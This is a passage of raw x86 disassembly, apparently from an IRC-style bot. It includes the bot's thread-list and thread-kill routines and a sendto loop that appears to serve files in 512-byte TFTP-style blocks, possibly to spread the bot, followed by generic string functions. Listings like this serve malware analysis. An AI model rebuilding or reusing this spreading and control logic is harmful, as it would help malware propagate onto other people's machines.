loc_40BF56:				; CODE XREF: sub_40BB81+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_40BFF4
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40BF8D
		inc	al
		xor	cl, cl
		mov	[ebp+var_57D], bl
		jmp	short loc_40BF95
; ---------------------------------------------------------------------------


loc_40BF8D:				; CODE XREF: sub_40BB81+3FEj
		inc	cl
		mov	[ebp+var_57D], cl


loc_40BF95:				; CODE XREF: sub_40BB81+40Aj
		mov	[ebp+var_57E], al
		push	ebx
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_40EAF8
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_40DA20
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_42D8D8	; sendto
		cmp	edi, ebx
		jnz	short loc_40C00A
		jmp	loc_40BEB4
; ---------------------------------------------------------------------------


loc_40BFF4:				; CODE XREF: sub_40BB81+268j
					; sub_40BB81+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_41FB00
		push	edi
		call	dword_42D8D8	; sendto


loc_40C00A:				; CODE XREF: sub_40BB81+204j
					; sub_40BB81+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_40BD2C


loc_40C016:				; CODE XREF: sub_40BB81+1B4j
		push	edi
		call	dword_42D90C	; closesocket
		push	[ebp+var_8]
		call	sub_40D9CA
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40C04A
		push	[ebp+var_170]
		call	sub_40C378
		pop	ecx
		push	ebx
		call	dword_418050	; ExitThread


loc_40C04A:				; CODE XREF: sub_40BB81+4B4j
		push	3E8h
		call	dword_418040	; Sleep
		push	esi


loc_40C056:				; CODE XREF: sub_40BB81+123j
		call	sub_40BB81
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40BB81	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C062	proc near		; CODE XREF: sub_401141+EDp
					; sub_401141+210p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_42F208


loc_40C06A:				; CODE XREF: sub_40C062+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40C07E
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_481BE8
		jl	short loc_40C06A
		jmp	short loc_40C0C9
; ---------------------------------------------------------------------------


loc_40C07E:				; CODE XREF: sub_40C062+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_42F208[esi]
		push	eax
		call	sub_40C720
		mov	eax, [esp+14h+arg_4]
		and	dword_42F40C[esi], 0
		and	dword_42F410[esi], 0
		mov	dword_42F408[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_42F420[esi], 0
		mov	dword_42F414[esi], eax
		pop	esi


loc_40C0C9:				; CODE XREF: sub_40C062+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40C062	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0CD	proc near		; DATA XREF: sub_4077FD+35F0o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40C11F
		push	[ebp+var_14]
		call	sub_40C378
		add	esp, 14h
		push	0
		call	dword_418050	; ExitThread
		pop	edi
		pop	esi
sub_40C0CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C11F	proc near		; CODE XREF: sub_40C0CD+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_42F208


loc_40C149:				; CODE XREF: sub_40C11F+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40C18A
		cmp	[ebp+arg_C], 0
		jnz	short loc_40C15D
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40C18A


loc_40C15D:				; CODE XREF: sub_40C11F+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_40C6C3
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 24h


loc_40C18A:				; CODE XREF: sub_40C11F+2Dj
					; sub_40C11F+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_481BE8
		jl	short loc_40C149
		pop	edi
		pop	esi
		leave
		retn
sub_40C11F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C19D	proc near		; CODE XREF: sub_4077FD+2D2Dp
					; sub_40C225+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40C21F
		cmp	esi, 258h
		jge	short loc_40C21F
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_42F41C[esi]
		push	dword ptr [edi]
		call	dword_41810C	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40C1CF
		inc	ebp


loc_40C1CF:				; CODE XREF: sub_40C19D+2Fj
		mov	[edi], ebx
		lea	edi, dword_42F410[esi]
		mov	dword_42F408[esi], ebx
		mov	dword_42F40C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40C1F0
		push	eax
		call	sub_40601E
		pop	ecx


loc_40C1F0:				; CODE XREF: sub_40C19D+4Aj
		mov	[edi], ebx
		lea	edi, dword_42F414[esi]
		mov	byte ptr dword_42F208[esi], bl
		mov	byte_42F420[esi], bl
		push	dword ptr [edi]
		call	dword_42D90C	; closesocket
		lea	esi, dword_42F418[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_42D90C	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40C21F:				; CODE XREF: sub_40C19D+Dj
					; sub_40C19D+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40C19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C225	proc near		; CODE XREF: sub_403B83+18p
					; sub_40551B:loc_40553Fp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_42F208


loc_40C231:				; CODE XREF: sub_40C225+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40C242
		push	edi
		call	sub_40C19D
		test	eax, eax
		pop	ecx
		jz	short loc_40C242
		inc	ebx


loc_40C242:				; CODE XREF: sub_40C225+Fj
					; sub_40C225+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_481BE8
		jl	short loc_40C231
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40C225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C257	proc near		; CODE XREF: sub_40C2EA+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_42F40C


loc_40C26B:				; CODE XREF: sub_40C257+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40C28D
		test	edi, edi
		jle	short loc_40C27F
		cmp	[esi], edi
		jz	short loc_40C27F
		cmp	ebx, edi
		jnz	short loc_40C28D


loc_40C27F:				; CODE XREF: sub_40C257+1Ej
					; sub_40C257+22j
		push	ebx
		call	sub_40C19D
		test	eax, eax
		pop	ecx
		jz	short loc_40C28D
		inc	[ebp+var_4]


loc_40C28D:				; CODE XREF: sub_40C257+1Aj
					; sub_40C257+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_481DEC
		jl	short loc_40C26B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C257	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2A4	proc near		; CODE XREF: sub_4010CA+Bp
					; sub_401141+2Cp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_42F408


loc_40C2AB:				; CODE XREF: sub_40C2A4+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40C2B4
		inc	eax


loc_40C2B4:				; CODE XREF: sub_40C2A4+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_481DE8
		jl	short loc_40C2AB
		retn
sub_40C2A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2C3	proc near		; CODE XREF: sub_4077FD+3236p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_42F408
		push	esi


loc_40C2CD:				; CODE XREF: sub_40C2C3+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40C2E6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_481DE8
		jl	short loc_40C2CD
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C2E6:				; CODE XREF: sub_40C2C3+10j
		mov	eax, edx
		pop	esi
		retn
sub_40C2C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2EA	proc near		; CODE XREF: sub_4077FD+376Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40C303
		push	[ebp+arg_1C]
		call	sub_40D9BF
		pop	ecx


loc_40C303:				; CODE XREF: sub_40C2EA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40C257
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40C32F
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_40C6C3
		add	esp, 14h
		jmp	short loc_40C349
; ---------------------------------------------------------------------------


loc_40C32F:				; CODE XREF: sub_40C2EA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_40C6C3
		add	esp, 10h


loc_40C349:				; CODE XREF: sub_40C2EA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40C369
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_40C369:				; CODE XREF: sub_40C2EA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_403145
		pop	ecx
		leave
		retn
sub_40C2EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C378	proc near		; CODE XREF: sub_40154B+1ABp
					; sub_401704+24Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_42F41C[eax], ecx
		mov	dword_42F408[eax], ecx
		mov	dword_42F40C[eax], ecx
		mov	dword_42F410[eax], ecx
		mov	dword_42F414[eax], ecx
		mov	dword_42F418[eax], ecx
		mov	byte ptr dword_42F208[eax], cl
		mov	byte_42F420[eax], cl
		retn
sub_40C378	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3B5	proc near		; CODE XREF: sub_4077FD+3A5Bp
					; sub_40C4DD+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_40C417
; ---------------------------------------------------------------------------


loc_40C3C1:				; CODE XREF: sub_40C3B5+66j
		cmp	eax, 1
		jnz	short loc_40C428
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40C428
		cmp	cl, 2Ah
		jz	short loc_40C400
		cmp	cl, 3Fh
		jz	short loc_40C3E5
		cmp	cl, 5Bh
		jz	short loc_40C3EA
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40C3E5:				; CODE XREF: sub_40C3B5+22j
		inc	[ebp+arg_4]
		jmp	short loc_40C413
; ---------------------------------------------------------------------------


loc_40C3EA:				; CODE XREF: sub_40C3B5+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40C449
		mov	esi, [ebp+arg_0]
		jmp	short loc_40C411
; ---------------------------------------------------------------------------


loc_40C400:				; CODE XREF: sub_40C3B5+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40C4DD
		mov	esi, [ebp+arg_0]
		dec	esi


loc_40C411:				; CODE XREF: sub_40C3B5+49j
		pop	ecx
		pop	ecx


loc_40C413:				; CODE XREF: sub_40C3B5+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_40C417:				; CODE XREF: sub_40C3B5+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40C3C1
		jmp	short loc_40C428
; ---------------------------------------------------------------------------


loc_40C41F:				; CODE XREF: sub_40C3B5+76j
		cmp	eax, 1
		jnz	short loc_40C444
		inc	esi
		mov	[ebp+arg_0], esi


loc_40C428:				; CODE XREF: sub_40C3B5+Fj
					; sub_40C3B5+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_40C41F
		cmp	eax, 1
		jnz	short loc_40C444
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40C444
		cmp	byte ptr [esi],	0
		jnz	short loc_40C444
		xor	eax, eax
		inc	eax
		jmp	short loc_40C446
; ---------------------------------------------------------------------------


loc_40C444:				; CODE XREF: sub_40C3B5+6Dj
					; sub_40C3B5+7Bj ...
		xor	eax, eax


loc_40C446:				; CODE XREF: sub_40C3B5+8Dj
		pop	esi
		pop	ebp
		retn
sub_40C3B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C449	proc near		; CODE XREF: sub_40C3B5+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40C46A
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40C46A:				; CODE XREF: sub_40C449+19j
		push	ebx
		push	esi


loc_40C46C:				; CODE XREF: sub_40C449+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40C47A
		cmp	[ebp+var_4], eax
		jnz	short loc_40C4C2


loc_40C47A:				; CODE XREF: sub_40C449+2Aj
		test	edi, edi
		jnz	short loc_40C4B7
		cmp	bl, 2Dh
		jnz	short loc_40C4AB
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_40C4AB
		cmp	al, 5Dh
		jz	short loc_40C4AB
		cmp	[ebp+var_4], edi
		jnz	short loc_40C4AB
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40C4B7
		cmp	bl, al
		jg	short loc_40C4B7
		mov	[edx], esi
		jmp	short loc_40C4B4
; ---------------------------------------------------------------------------


loc_40C4AB:				; CODE XREF: sub_40C449+38j
					; sub_40C449+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40C4B7


loc_40C4B4:				; CODE XREF: sub_40C449+60j
		xor	edi, edi
		inc	edi


loc_40C4B7:				; CODE XREF: sub_40C449+33j
					; sub_40C449+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40C46C
; ---------------------------------------------------------------------------


loc_40C4C2:				; CODE XREF: sub_40C449+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40C4CF
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40C4CF:				; CODE XREF: sub_40C449+7Ej
		cmp	edi, eax
		jnz	short loc_40C4D8
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40C4D8:				; CODE XREF: sub_40C449+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40C449	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4DD	proc near		; CODE XREF: sub_40C3B5+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_40C50D
; ---------------------------------------------------------------------------


loc_40C4F7:				; CODE XREF: sub_40C4DD+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_40C508
		cmp	dl, 2Ah
		jnz	short loc_40C51A
		cmp	dl, 3Fh
		jnz	short loc_40C50B


loc_40C508:				; CODE XREF: sub_40C4DD+1Fj
		inc	ecx
		mov	[edi], ecx


loc_40C50B:				; CODE XREF: sub_40C4DD+29j
		inc	dword ptr [esi]


loc_40C50D:				; CODE XREF: sub_40C4DD+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_40C4F7
		jmp	short loc_40C51A
; ---------------------------------------------------------------------------


loc_40C517:				; CODE XREF: sub_40C4DD+40j
		inc	eax
		mov	[esi], eax


loc_40C51A:				; CODE XREF: sub_40C4DD+24j
					; sub_40C4DD+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_40C517
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_40C53C
		cmp	[eax], bl
		jz	short loc_40C52F
		xor	eax, eax
		jmp	short loc_40C599
; ---------------------------------------------------------------------------


loc_40C52F:				; CODE XREF: sub_40C4DD+4Cj
		cmp	dl, bl
		jnz	short loc_40C53C
		cmp	[eax], bl
		jnz	short loc_40C53C
		xor	eax, eax
		inc	eax
		jmp	short loc_40C599
; ---------------------------------------------------------------------------


loc_40C53C:				; CODE XREF: sub_40C4DD+48j
					; sub_40C4DD+54j ...
		push	ecx
		push	eax
		call	sub_40C3B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C583


loc_40C549:				; CODE XREF: sub_40C4DD+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_40C55B
; ---------------------------------------------------------------------------


loc_40C54F:				; CODE XREF: sub_40C4DD+86j
		cmp	cl, 5Bh
		jz	short loc_40C565
		cmp	dl, bl
		jz	short loc_40C565
		inc	eax
		mov	[edi], eax


loc_40C55B:				; CODE XREF: sub_40C4DD+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_40C54F


loc_40C565:				; CODE XREF: sub_40C4DD+75j
					; sub_40C4DD+79j
		cmp	[eax], bl
		jz	short loc_40C57A
		push	eax
		push	dword ptr [esi]
		call	sub_40C3B5
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40C57F
; ---------------------------------------------------------------------------


loc_40C57A:				; CODE XREF: sub_40C4DD+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40C57F:				; CODE XREF: sub_40C4DD+9Bj
		cmp	eax, ebx
		jnz	short loc_40C549


loc_40C583:				; CODE XREF: sub_40C4DD+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40C596
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40C596
		mov	[ebp+var_4], 1


loc_40C596:				; CODE XREF: sub_40C4DD+AAj
					; sub_40C4DD+B0j
		mov	eax, [ebp+var_4]


loc_40C599:				; CODE XREF: sub_40C4DD+50j
					; sub_40C4DD+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C4DD	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C5A0	proc near		; CODE XREF: sub_401000+5Cp
					; sub_401000+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_40C654
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_40C5CA


loc_40C5BB:				; CODE XREF: sub_40C5A0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_40C5FB
		test	edi, 3
		jnz	short loc_40C5BB


loc_40C5CA:				; CODE XREF: sub_40C5A0+19j
					; sub_40C5A0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_40C5CA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_40C608
		test	ah, ah
		jz	short loc_40C603
		test	eax, 0FF0000h
		jz	short loc_40C5FE
		test	eax, 0FF000000h
		jnz	short loc_40C5CA


loc_40C5FB:				; CODE XREF: sub_40C5A0+20j
		dec	edi
		jmp	short loc_40C60B
; ---------------------------------------------------------------------------


loc_40C5FE:				; CODE XREF: sub_40C5A0+52j
		sub	edi, 2
		jmp	short loc_40C60B
; ---------------------------------------------------------------------------


loc_40C603:				; CODE XREF: sub_40C5A0+4Bj
		sub	edi, 3
		jmp	short loc_40C60B
; ---------------------------------------------------------------------------


loc_40C608:				; CODE XREF: sub_40C5A0+47j
		sub	edi, 4


loc_40C60B:				; CODE XREF: sub_40C5A0+5Cj
					; sub_40C5A0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_40C620
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40C66C
		jmp	short loc_40C63C
; ---------------------------------------------------------------------------


loc_40C620:				; CODE XREF: sub_40C5A0+75j
					; sub_40C5A0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_40C65A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_40C650
		test	esi, 3
		jnz	short loc_40C620
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40C66C


loc_40C63C:				; CODE XREF: sub_40C5A0+7Ej
					; sub_40C5A0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_40C650


loc_40C643:				; CODE XREF: sub_40C5A0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_40C652
		dec	ecx
		jnz	short loc_40C643


loc_40C650:				; CODE XREF: sub_40C5A0+8Bj
					; sub_40C5A0+A1j
		mov	[edi], cl


loc_40C652:				; CODE XREF: sub_40C5A0+ABj
		pop	ebx
		pop	esi


loc_40C654:				; CODE XREF: sub_40C5A0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40C65A:				; CODE XREF: sub_40C5A0+85j
					; sub_40C5A0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40C664:				; CODE XREF: sub_40C5A0+E4j
					; sub_40C5A0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_40C63C


loc_40C66C:				; CODE XREF: sub_40C5A0+7Cj
					; sub_40C5A0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_40C664
		test	dl, dl
		jz	short loc_40C65A
		test	dh, dh
		jz	short loc_40C6B8
		test	edx, 0FF0000h
		jz	short loc_40C6A8
		test	edx, 0FF000000h
		jnz	short loc_40C664
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40C6A8:				; CODE XREF: sub_40C5A0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40C6B8:				; CODE XREF: sub_40C5A0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40C5A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6C3	proc near		; CODE XREF: sub_401000+19p
					; sub_401000+48p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_40EDD8
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40C703
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40C710
; ---------------------------------------------------------------------------


loc_40C703:				; CODE XREF: sub_40C6C3+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40ECC3
		pop	ecx
		pop	ecx


loc_40C710:				; CODE XREF: sub_40C6C3+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40C6C3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C720	proc near		; CODE XREF: sub_401141+6Ep
					; sub_401141+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_40C7A3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_40C744
		shr	ecx, 2
		jnz	short loc_40C7B1
		jmp	short loc_40C765
; ---------------------------------------------------------------------------


loc_40C744:				; CODE XREF: sub_40C720+1Bj
					; sub_40C720+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_40C772
		test	al, al
		jz	short loc_40C77A
		test	esi, 3
		jnz	short loc_40C744
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40C7B1


loc_40C760:				; CODE XREF: sub_40C720+8Fj
		and	ebx, 3
		jz	short loc_40C772


loc_40C765:				; CODE XREF: sub_40C720+22j
					; sub_40C720+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_40C79E
		dec	ebx
		jnz	short loc_40C765


loc_40C772:				; CODE XREF: sub_40C720+2Bj
					; sub_40C720+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


